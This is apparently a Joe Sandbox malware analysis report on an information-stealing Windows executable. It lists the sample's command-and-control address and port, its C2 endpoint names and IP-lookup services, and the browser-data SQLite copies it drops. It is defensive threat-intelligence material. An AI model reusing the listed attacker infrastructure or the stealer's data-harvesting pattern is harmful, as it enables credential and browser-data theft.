http://schemas.datacontract.org/2004/07/	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://91.92.251.170:1334	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://91.92.251.170:1334/	0%	Avira URL Cloud	safe
91.92.251.170:1334	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.92.251.170:1334/	true	Avira URL Cloud: safe	unknown
91.92.251.170:1334	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	file.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.92.251.170:1334	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000029D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	file.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.0000000002831000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	file.exe, 00000000.00000002.1821747315.00000000028CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	file.exe, 00000000.00000002.1821747315.00000000029D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	file.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.1823029533.0000000003940000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1823029533.0000000003997000.00000004.00000800.00020000.00000000.sdmp, tmp3067.tmp.0.dr, tmp3035.tmp.0.dr, tmpC36B.tmp.0.dr, tmpFA30.tmp.0.dr, tmp3045.tmp.0.dr, tmpC31B.tmp.0.dr, tmpF9DD.tmp.0.dr, tmpF9EE.tmp.0.dr, tmpFA1F.tmp.0.dr, tmp3056.tmp.0.dr, tmpF9FF.tmp.0.dr, tmpC34B.tmp.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	file.exe, 00000000.00000002.1821747315.00000000027A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.92.251.170	unknown	Bulgaria		34368	THEZONEBG	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1517248
Start date and time:	2024-09-24 22:30:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/43@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 30 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:31:10	API Interceptor	47x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEZONEBG	JrBeso.exe	Get hash	malicious	XWorm	Browse	91.92.251.38
	Label_091273172.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	91.92.247.86
	Trial Order_9567437879975646454456653457754353335545463224244545432234.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	91.92.240.185
	http://ecoijva.com/	Get hash	malicious	Unknown	Browse	91.92.248.78
	z3hL1cM0zb.exe	Get hash	malicious	Quasar	Browse	91.92.241.122
	1726582445e64b2f195a9cbb320d72ea849cf0df04680e1272fe226b09851cc60bc5c07091697.dat-decoded.exe	Get hash	malicious	Remcos	Browse	91.92.247.86
	Label_PL001292992.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	91.92.247.86
	https://es-correes.top/es/	Get hash	malicious	Unknown	Browse	91.92.246.95
	Package Label PL_0921371571.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	91.92.247.86
	https://webmail_280604415.bsd517.com/003060192cloudstore-309398439?data=cybersecurity@itv.com	Get hash	malicious	HTMLPhisher	Browse	91.92.242.44

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpHt1qHxLHjH4:vq5qxqdqolqztYqh3oPtI6mq7qoT5JNV
MD5:	90757169D333CB9247B01FB0CAF14023
SHA1:	C47A0AA0CBC960527EA4FA7F61AC1D08B56C23A5
SHA-256:	C04472992BF7CF58327D947D334F1105C14C5CF0D2DD0DF7E7873CAADE0EC61D
SHA-512:	A49B90272EC353DE49C508AF75C509D14A18EA50ABD1CD49BF5313A708CB9654A543E3340C74978B5756A66EF291132E93931853CAD7CC8C85450BB64A318031
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp3035.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3045.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3056.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3067.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3087.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3097.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp30A8.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5469.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\tmp546A.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

